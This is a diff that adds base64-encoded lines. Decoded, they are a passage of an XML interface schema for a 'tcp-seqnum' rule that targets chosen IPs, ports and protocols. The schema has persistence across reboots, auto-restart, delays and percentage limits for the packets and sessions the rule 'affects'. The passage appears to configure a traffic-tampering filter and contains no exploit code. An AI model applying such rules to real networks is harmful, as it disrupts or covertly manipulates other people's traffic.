+ICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50
+PnNjcmFtYmxlX3BhcmFtX3M8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAg
+ICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3Nt
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0K
+ICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAg
+PGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxl
+X3BhcmFtX3A8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxj
+b2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BtPC9lbGVtZW50
+Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAg
+IDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+
+c2NyYW1ibGVfcGFyYW1fZGlyPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAg
+ICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9s
+PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0K
+ICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9oPC9lbGVtZW50Pg0KICAgICAg
+ICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNs
+YXlvdXQ+DQogICAgICA8L2NtZD4NCiAgICAgIDxjbWQgdGl0bGU9InRjcC1zZXFudW0iPg0KICAg
+ICAgICA8aGVscHRleHQ+Q3JlYXRlcyBhIG5ldyB0Y3Atc2VxbnVtIHJ1bGUgYmFzZWQgb24gdGhl
+IHNwZWNpZmllZCBjcml0ZXJpYS48L2hlbHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0aXZlcz4NCiAg
+ICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgw
+RjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDBDPC9w
+cmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxv
+cHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0PC9w
+cmltaXRpdmU+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICA8L29wdGlvbmFsX3ByaW1pdGl2ZXM+DQogICAgICAgIDwvcHJpbWl0aXZlcz4N
+CiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQog
+ICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMTwvbmN1
+cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNvdXJjZSBJUDwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8
+c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzI8L25j
+dXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Tb3VyY2UgTWFzazwvbmN1cnNl
+bGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAg
+ICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8
+L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAg
+ICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNl
+aWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8zPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWxhYmVsPlN0YXJ0IFNyYyBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAg
+ICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAw
+MDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4zPC9hcmdudW1iZXI+
+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5FbmQgU3JjIFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAg
+ICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYw
+MDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjQ8L2FyZ251bWJl
+cj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0
+cmliXzU8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EZXN0aW5hdGlv
+biBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAg
+ICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZl
+PjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjU8L2Fy
+Z251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1h
+bmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVh
+dGVfYXR0cmliXzY8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EZXN0
+aW5hdGlvbiBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90
+eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxw
+cmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1i
+ZXI+NjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAg
+IDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzc8L25jdXJzZWlk
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U3RhcnQgRHN0IFBvcnQ8L25jdXJzZWxhYmVs
+Pg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQz
+MjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJn
+bnVtYmVyPjc8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl84PC9uY3Vy
+c2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuZCBEc3QgUG9ydDwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWlu
+dDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxh
+cmdudW1iZXI+ODwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlk
+PnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5j
+dXJzZWxhYmVsPlByb3RvY29sPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5z
+dHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAg
+PGFyZ251bWJlcj45PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAg
+ICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX2F0dHJp
+YnV0ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgICA8L2F0dHJp
+YnV0ZXM+DQogICAgICAgIDxwYXJhbWV0ZXJzPg0KICAgICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0
+ZXJzLz4NCiAgICAgICAgICA8b3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxwYXJh
+bWV0ZXIgZmxhZz0iZW4iPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2Fz
+ZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX2VuPC9u
+Y3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuYWJsZTwvbmN1cnNlbGFiZWw+
+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+cHJlc2Vu
+Y2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVy
+PjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+RW5hYmxlcyB0aGUgcnVs
+ZSBvbiBjcmVhdGlvbjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAg
+ICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InBzIj4N
+CiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9wczwvbmN1cnNlaWQ+DQogICAgICAg
+ICAgICAgIDxuY3Vyc2VsYWJlbD5QZXJzaXN0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+PGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAg
+ICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+
+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAw
+NTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0K
+ICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5FbmFibGUgdGhlIGZpbHRlciB0byBzdXJ2aXZlIHJl
+Ym9vdHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAg
+ICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iciI+DQogICAgICAg
+ICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAg
+ICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VsYWJlbD5BdXRvIFJlc3RhcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAg
+ICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVl
+PC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMDwvYXJnbnVtYmVyPg0KICAg
+ICAgICAgICAgICAgIDxoZWxwdGV4dD5BdXRvbWF0aWNhbGx5IHJlLWVuYWJsZSB0aGUgZmlsdGVy
+IHdoZW4gdGVybWluYXRpb24gaXMgcmVhY2hlZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8
+L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFt
+ZXRlciBmbGFnPSJ0ZCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNl
+c2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fdGQ8L25j
+dXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VGltZSBEZWxheTwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+c3Ry
+aW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE1PC9zaXplPg0KICAgICAgICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxh
+cmdudW1iZXI+MTE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+VGltZSBi
+ZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy4gIFRoZSBmb3JtYXQgY2FuIGJlIHNlY29uZHMg
+aS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNwZWNpZmllcnMgZm9yIGRheXMsIGhvdXJzLCBt
+aW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJoIDNtIDRzLjwvaGVscHRleHQ+DQogICAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAg
+ICA8cGFyYW1ldGVyIGZsYWc9InQiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxz
+ZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFt
+X3Q8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VGltZSBEdXJhdGlvbjwv
+bmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAg
+PHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE1PC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+MTI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRl
+eHQ+RHVyYXRpb24gcGFja2V0cyB3aWxsIGJlIGFmZmVjdGVkIGJ5IGZpbHRlci4gIFRoZSBmb3Jt
+YXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNwZWNpZmllcnMg
+Zm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJoIDNtIDRzLjwv
+aGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJh
+bWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InNkIj4NCiAgICAgICAgICAgICAg
+PGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9wYXJhbV9zZDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2Vs
+YWJlbD5TZXNzaW9uIERlbGF5PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0
+ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAg
+PHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0
+dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+
+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xMzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAg
+ICAgIDxoZWxwdGV4dD5OdW1iZXIgb2Ygc2Vzc2lvbnMgdG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIg
+YWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InMi
+Pg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAg
+ICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3M8L25jdXJzZWlkPg0KICAgICAg
+ICAgICAgICA8bmN1cnNlbGFiZWw+U2Vzc2lvbiBQZXJjZW50YWdlPC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5
+cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRl
+ZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4w
+eDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xNDwvYXJn
+bnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5QZXJjZW50YWdlIG9mIHNlc3Npb25z
+IGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFn
+PSJzbSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZl
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fc208L25jdXJzZWlkPg0K
+ICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWF4IFNlc3Npb25zPC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5
+cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRl
+ZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4w
+eDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xNTwvYXJn
+bnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJlciBvZiBzZXNz
+aW9uIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAg
+ICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAg
+ICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icGQiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2
+ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxl
+X3BhcmFtX3BkPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlBhY2tldCBE
+ZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXpl
+Pg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+ICAgIDxhcmdudW1iZXI+MTY8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+
+TnVtYmVyIG9mIHBhY2tldHMgdG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRz
+LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9w
+YXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InAiPg0KICAgICAgICAgICAg
+ICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWlkPnNjcmFtYmxlX3BhcmFtX3A8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNl
+bGFiZWw+UGFja2V0IFBlcmNlbnRhZ2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2Rl
+ZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE3PC9hcmdudW1iZXI+DQogICAgICAg
+ICAgICAgICAgPGhlbHB0ZXh0PlBlcmNlbnRhZ2Ugb2YgcGFja2V0cyBmaWx0ZXIgd2lsbCBhZmZl
+Y3QuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8
+L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icG0iPg0KICAgICAgICAg
+ICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BtPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWxhYmVsPk1heCBQYWNrZXRzPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAg
+ICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZh
+dWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRp
+dmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xODwvYXJnbnVtYmVyPg0KICAgICAgICAg
+ICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJlciBvZiBwYWNrZXRzIHRvIGFmZmVjdCBiZWZv
+cmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIg
+ZmxhZz0iZGlyIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5z
